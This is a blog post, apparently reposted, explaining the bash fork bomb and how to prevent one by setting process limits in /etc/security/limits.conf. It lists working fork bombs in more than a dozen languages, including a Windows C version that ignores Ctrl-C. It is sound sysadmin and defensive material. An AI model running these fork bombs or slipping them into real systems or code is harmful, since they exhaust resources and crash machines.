close

Understanding Bash fork() bomb ~ :(){ :|:& };:

by VIVEK GITE

Q. Can you explain following bash code or bash fork() bomb?
:(){ :|:& };:

A. This is a bash function. It gets called recursively (recursive function). This is most horrible code for any Unix / Linux box. It is often used by sys admin to test user processes limitations (Linux process limits can be configured via /etc/security/limits.conf and PAM).

Once a successful fork bomb has been activated in a system it may not be possible to resume normal operation without rebooting, as the only solution to a fork bomb is to destroy all instances of it.

WARNING! These examples may crash your computer if executed.

Understanding :(){ :|:& };: fork() bomb code

:() - It is a function name. It accepts no arguments at all. Generally, bash function is defined as follows:

foo(){
 arg1=$1
 echo ''
 #do_something on $arg argument
}

fork() bomb is defined as follows:

:(){
 :|:&
};:

:|: - Next it call itself using programming technique called recursion and pipes the output to another call of the function ':'. The worst part is function get called two times to bomb your system.

& - Puts the function call in the background so child cannot die at all and start eating system resources.

; - Terminate the function definition

: - Call (run) the function aka set the fork() bomb.

Here is more human readable code:

bomb() {
 bomb | bomb &
}; bomb

Properly configured Linux / UNIX box should not go down when fork() bomb sets off.

 

 

 

Example fork bombs (from wiki)

The following code provides arguably one of the most elegant examples of a fork bomb. Jaromil presented it as an open-source piece of art in 2002. The user executes the fork bomb by pasting the following 11 characters into a UNIX shell such as bash or zsh.[1]

:(){ :|:& };:

Understanding the above:

:()      # define ':' -- whenever we say ':', do this:
{        # beginning of what to do when we say ':'
    :    # load another copy of the ':' function into memory...
    |    # ...and pipe its output to...
    :    # ...another copy of ':' function, which has to be loaded into memory
         # (therefore, ':|:' simply gets two copies of ':' loaded whenever ':' is called)
    &    # disown the functions -- if the first ':' is killed,
         #     all of the functions that it has started should NOT be auto-killed
}        # end of what to do when we say ':'
;        # Having defined ':', we should now...
:        # ...call ':', initiating a chain-reaction: each ':' will start two more.

Given that ':' is an arbitrary name for the function, an easier to understand version would be:

forkbomb(){ forkbomb|forkbomb & } ; forkbomb

A fork bomb using the Microsoft Windows (any version) batch language:

%0|%0

Or a faster-reacting example:

:s
start %0
goto :s

In poetic Perl:

fork while fork

In Haskell:

import Control.Monad
import System.Posix.Process
 
forkBomb = forever $ forkProcess forkBomb

In Python:

import os
 
while True:
     os.fork()

In Ruby:

loop { fork }

In UNIX C or C++:

#include <unistd.h>
 
int main(void)
{
  for(;;)
    fork();
  return 0;
}

In Windows visual studio C or C++:

#include <windows.h>
 
// example VC++ fork bomb
// signals Windows not to handle Ctrl-C itself,
// effectively making the bomb unstoppable
 
int main(int argn, char **argv)
{
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
 
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
 
  while (1)
  {
	  SetConsoleCtrlHandler(0, 1);
	  CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi);
  }
 
  return 0;
}

In Free Pascal (platform-independent):

program ForkBomb;
 
{$IFDEF UNIX}
uses cthreads;
{$ENDIF}
 
var
   ForkThis: TThreadFunc;
 
function ForkMe(Dummy: pointer): PtrInt;
begin
   while TRUE do BeginThread(ForkThis);
end;
 
begin
   ForkThis:= @ForkMe;
   ForkMe(nil);
end.

In PHP (probably only for POSIX compatible systems):

while(pcntl_fork()|1);

In x86 FASM for Linux:

format ELF executable
entry start
start:
	push	0x2       ; Linux fork system call
	pop	eax       ;
	int	0x80      ; Call to the kernel
	jmp	start     ; Loop back to the start

In x86 FASM for Win32:

format PE GUI 4.0
entry start
section '.text' code readable executable
  start:
        pushd 1000
        pushd path
        pushd 0
        call [GetModuleFileName]
   @@:
        pushd 1
        pushd 0
        pushd 0
        pushd path
        pushd command
        pushd 0
        call [ShellExecute]
        jmp @b
section '.data' data readable writeable
  path rb 1000
  command db "open"
section '.idata' import data readable writeable
  dd 0,0,0,RVA kernel32id,RVA kernel32
  dd 0,0,0,RVA shell32id,RVA shell32
  kernel32:
    GetModuleFileName dd RVA _GetModuleFileName
    dd 0
  shell32:
    ShellExecute dd RVA _ShellExecute
    dd 0
  kernel32id db 'kernel32.dll',0
  shell32id db 'shell32.dll',0
  _GetModuleFileName dw 0
    db 'GetModuleFileNameA',0
  _ShellExecute dw 0
    db 'ShellExecuteA',0
section '.reloc' fixups data readable discardable

In x86 NASM assembly for Linux more detailed:

section .text
 global _start ;Call start
 
_start:
 push byte 2      ;syscall to Linux fork
 pop eax          ;set EAX argument for fork to NULL [So it works in strings]
 int 0x80         ;Execute syscall with fork & the EAX [null, above] argument
 jmp short _start ;Go back to beginning, causing a fork bomb

Or in Lisp:

 (defmacro wabbit ()                ;; A program that writes code.
   (let ((fname (gentemp 'INET)))
     `(progn
            (defun ,fname ()        ;; Generate.
              nil)
            (wabbit))))
 
(wabbit)    ;; Start multiplying.

Java can also be used, although the fork bomb will only work if the javaw executable is on the path. This fork bomb can be stopped from multiplying by deleting the class file used to run it, although this will not terminate any instances of the fork bomb that have already started.

public class ForkBomb
{
  public static void main(String[] args)
  {
    while(true)
    {
      Runtime.getRuntime().exec(new String[]{
 "javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
    }
  }
}

In Pict:

def wabbit [] = ( wabbit![] | wabbit![] )
run wabbit![]

 


How to: Prevent a fork bomb by limiting user process


Earlier, I wrote about fork bomb, few readers like to know about getting protection against such attacks:

How do I protect my system from a fork bomb under Linux?

Limiting user processes is important for running a stable system. To limit user process just add user name or group or all users to/etc/security/limits.conf file and impose process limitations.

Understanding /etc/security/limits.conf file

Each line describes a limit for a user in the form:
<domain> <type> <item> <value>
Where:

  • <domain> can be:
    • an user name
    • a group name, with @group syntax
    • the wildcard *, for default entry
    • the wildcard %, can be also used with %group syntax, for maxlogin limit
  • <type> can have the two values:
    • "soft" for enforcing the soft limits
    • "hard" for enforcing hard limits
  • <item> can be one of the following:
    • core - limits the core file size (KB)
  • <value> can be one of the following:
    • core - limits the core file size (KB)
    • data - max data size (KB)
    • fsize - maximum filesize (KB)
    • memlock - max locked-in-memory address space (KB)
    • nofile - max number of open files
    • rss - max resident set size (KB)
    • stack - max stack size (KB)
    • cpu - max CPU time (MIN)
    • nproc - max number of processes
    • as - address space limit
    • maxlogins - max number of logins for this user
    • maxsyslogins - max number of logins on the system
    • priority - the priority to run user process with
    • locks - max number of file locks the user can hold
    • sigpending - max number of pending signals
    • msgqueue - max memory used by POSIX message queues (bytes)
    • nice - max nice priority allowed to raise to
    • rtprio - max realtime priority
    • chroot - change root to directory (Debian-specific)

Login as the root and open configuration file:
# vi /etc/security/limits.conf
Following will prevent a "fork bomb":
vivek hard nproc 300
@student hard nproc 50
@faculty soft nproc 100
@pusers hard nproc 200

Above will prevent anyone in the student group from having more than 50 processes, faculty and pusers group limit is set to 100 and 200. Vivek can create only 300 process. Please note that KDE and Gnome desktop system can launch many process.

Save and close the file. Test your new system by dropping a form bomb:
$ :(){ :|:& };:


 

 

arrow
arrow
    全站熱搜
    創作者介紹
    創作者 Bluelove1968 的頭像
    Bluelove1968

    藍色情懷

    Bluelove1968 發表在 痞客邦 留言(0) 人氣()